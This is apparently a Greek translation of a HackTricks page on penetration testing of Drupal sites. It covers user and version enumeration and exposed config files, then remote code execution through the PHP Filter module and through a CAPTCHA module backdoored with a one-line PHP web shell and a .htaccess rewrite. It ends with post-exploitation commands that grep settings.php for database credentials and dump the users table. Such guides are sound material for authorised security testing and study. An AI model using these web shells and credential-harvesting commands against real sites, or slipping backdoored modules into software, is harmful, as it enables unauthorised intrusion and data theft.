hacktricks/network-services-pentesting/pentesting-web/drupal.md

14 KiB
Raw Blame History

Drupal

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Red Team του HackTricks AWS)!

Άλλοι τρόποι υποστήριξης του HackTricks:

{% embed url="https://websec.nl/" %}

Ανακάλυψη

  • Ελέγξτε τα meta
curl https://www.drupal.org/ | grep 'content="Drupal'
  • Κόμβος: Το Drupal ευρετηριάζει το περιεχόμενό του χρησιμοποιώντας κόμβους. Ένας κόμβος μπορεί να περιέχει οτιδήποτε όπως μια ανάρτηση σε ιστολόγιο, δημοσκόπηση, άρθρο, κλπ. Οι URI των σελίδων είναι συνήθως της μορφής /node/<nodeid>.
curl drupal-site.com/node/1

Απαρίθμηση

Το Drupal υποστηρίζει τρεις τύπους χρηστών από προεπιλογή:

  1. Διαχειριστής: Αυτός ο χρήστης έχει πλήρη έλεγχο του ιστότοπου του Drupal.
  2. Εξουσιοδοτημένος Χρήστης: Αυτοί οι χρήστες μπορούν να συνδεθούν στον ιστότοπο και να εκτελέσουν λειτουργίες όπως προσθήκη και επεξεργασία άρθρων βάσει των δικαιωμάτων τους.
  3. Ανώνυμος: Όλοι οι επισκέπτες του ιστότοπου θεωρούνται ανώνυμοι. Από προεπιλογή, αυτοί οι χρήστες επιτρέπεται μόνο να διαβάζουν αναρτήσεις.

Έκδοση

  • Ελέγξτε το /CHANGELOG.txt
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""

Drupal 7.57, 2018-02-21

{% hint style="info" %} Οι νεότερες εγκαταστάσεις του Drupal από προεπιλογή αποκλείουν την πρόσβαση στα αρχεία CHANGELOG.txt και README.txt. {% endhint %}

Απαρίθμηση ονομάτων χρηστών

Εγγραφή

Στο /user/register απλά προσπαθήστε να δημιουργήσετε ένα όνομα χρήστη και αν το όνομα είναι ήδη κατειλημμένο θα ενημερωθείτε:

Αίτηση νέου κωδικού πρόσβασης

Αν ζητήσετε ένα νέο κωδικό πρόσβασης για ένα υπάρχον όνομα χρήστη:

Αν ζητήσετε ένα νέο κωδικό πρόσβασης για ένα μη υπάρχον όνομα χρήστη:

Λήψη αριθμού χρηστών

Με την πρόσβαση στο /user/<number> μπορείτε να δείτε τον αριθμό των υπαρχόντων χρηστών, σε αυτήν την περίπτωση είναι 2 καθώς το /users/3 επιστρέφει σφάλμα μη εύρεσης:

Κρυφές σελίδες

Αναζητήστε /node/$ όπου $ είναι ένας αριθμός (από 1 έως 500 για παράδειγμα).
Μπορείτε να βρείτε κρυφές σελίδες (δοκιμή, ανάπτυξη) οι οποίες δεν αναφέρονται από τις μηχανές αναζήτησης.

Πληροφορίες εγκατεστημένων ενοτήτων

#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
curl https://example.com/config/sync/core.extension.yml
curl https://example.com/core/core.services.yml

# Download content from files exposed in the previous step
curl https://example.com/config/sync/swiftmailer.transport.yml

Αυτόματο

droopescan scan drupal -u http://drupal-site.local

RCE

Με το Πρόσθετο PHP Filter

{% hint style="warning" %} Σε παλαιότερες εκδόσεις του Drupal (πριν την έκδοση 8), ήταν δυνατό να συνδεθείτε ως διαχειριστής και να ενεργοποιήσετε το πρόσθετο PHP filter, το οποίο "Επιτρέπει την αξιολόγηση ενσωματωμένου κώδικα PHP/αποσπασμάτων." {% endhint %}

Χρειάζεστε το πρόσθετο php να είναι εγκατεστημένο (ελέγξτε τον έλεγχο πρόσβασης στο /modules/php και αν επιστρέφει 403 τότε, υπάρχει, αν δεν βρέθηκε, τότε το πρόσθετο php δεν είναι εγκατεστημένο)

Πηγαίνετε σε Πρόσθετα -> (Ελέγξτε) PHP Filter -> Αποθηκεύστε τη διαμόρφωση

Στη συνέχεια κάντε κλικ στο Προσθήκη περιεχομένου -> Επιλέξτε Βασική Σελίδα ή Άρθρο -> Γράψτε κώδικα php shell στο σώμα -> Επιλέξτε Κώδικα PHP στη μορφή Κειμένου -> Επιλέξτε Προεπισκόπηση

Τέλος, απλά αποκτήστε πρόσβαση στο νεοδημιουργημένο κόμβο:

curl http://drupal-site.local/node/3

Εγκατάσταση του Πρόσθετου PHP Filter

Από την έκδοση 8 και μετά, το PHP Filter δεν εγκαθίσταται από προεπιλογή. Για να επωφεληθούμε από αυτήν τη λειτουργικότητα, θα πρέπει να εγκαταστήσουμε το πρόσθετο μόνοι μας.

  1. Κατεβάστε την πιο πρόσφατη έκδοση του πρόσθετου από την ιστοσελίδα του Drupal.
  2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
  3. Αφού γίνει η λήψη, πηγαίνετε σε Διαχείριση > Αναφορές > Διαθέσιμες ενημερώσεις.
  4. Κάντε κλικ στο Περιήγηση, επιλέξτε το αρχείο από τον κατάλογο που το κατεβάσατε, και στη συνέχεια κάντε κλικ στο Εγκατάσταση.
  5. Αφού εγκατασταθεί το πρόσθετο, μπορούμε να κάνουμε κλικ στο Περιεχόμενο και να δημιουργήσουμε μια νέα βασική σελίδα, παρόμοια με τον τρόπο που κάναμε στο παράδειγμα του Drupal 7. Ξανά, βεβαιωθείτε ότι επιλέγετε Κώδικα PHP από την αναπτυσσόμενη λίστα Μορφοποίηση κειμένου.

Πρόσθετο με Παρασκευασμένη Πίσω Πόρτα

Ένα πρόσθετο με παρασκευασμένη πίσω πόρτα μπορεί να δημιουργηθεί προσθέτοντας ένα κέλυφος σε ένα υπάρχον πρόσθετο. Τα πρόσθετα μπορούν να βρεθούν στην ιστοσελίδα drupal.org. Ας επιλέξουμε ένα πρόσθετο όπως το CAPTCHA. Κύλισε προς τα κάτω και αντέγραψε τον σύνδεσμο για το tar.gz αρχείο.

  • Κατέβασε το αρχείο και εξάγετε το περιεχόμενό του.
wget --no-check-certificate  https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
  • Δημιουργήστε ένα PHP web shell με τα παρακάτω περιεχόμενα:
<?php
system($_GET["cmd"]);
?>
  • Επόμενο, πρέπει να δημιουργήσουμε ένα αρχείο .htaccess για να δώσουμε πρόσβαση στον εαυτό μας στον φάκελο. Αυτό είναι απαραίτητο επειδή το Drupal αρνείται την άμεση πρόσβαση στον φάκελο /modules.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
  • Η διαμόρφωση παραπάνω θα εφαρμόσει κανόνες για τον φάκελο / όταν ζητάμε ένα αρχείο στο /modules. Αντιγράψτε και τα δύο αρχεία αυτά στον φάκελο captcha και δημιουργήστε ένα αρχείο αρχειοθέτησης.
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/

*Υποθέτοντας ότι έχουμε διαχειριστική πρόσβαση στον ιστότοπο, κάντε κλικ στο Διαχείριση και στη συνέχεια στο Επέκταση στην πλαϊνή μπάρα. Στη συνέχεια, κάντε κλικ στο κουμπί + Εγκατάσταση νέου πρόσθετου, και θα μας οδηγηθεί στη σελίδα εγκατάστασης, όπως το http://drupal-site.local/admin/modules/install. Περιηγηθείτε στο αρχείο Captcha με backdoor και κάντε κλικ στο Εγκατάσταση.

  • Αφού η εγκατάσταση είναι επιτυχής, περιηγηθείτε στο /modules/captcha/shell.php για να εκτελέσετε εντολές.

Μετά την Εκμετάλλευση

Διαβάστε το settings.php

find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null

Αδειάστε τους χρήστες από τη βάση δεδομένων

mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'

Αναφορές

{% embed url="https://websec.nl/" %}

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks: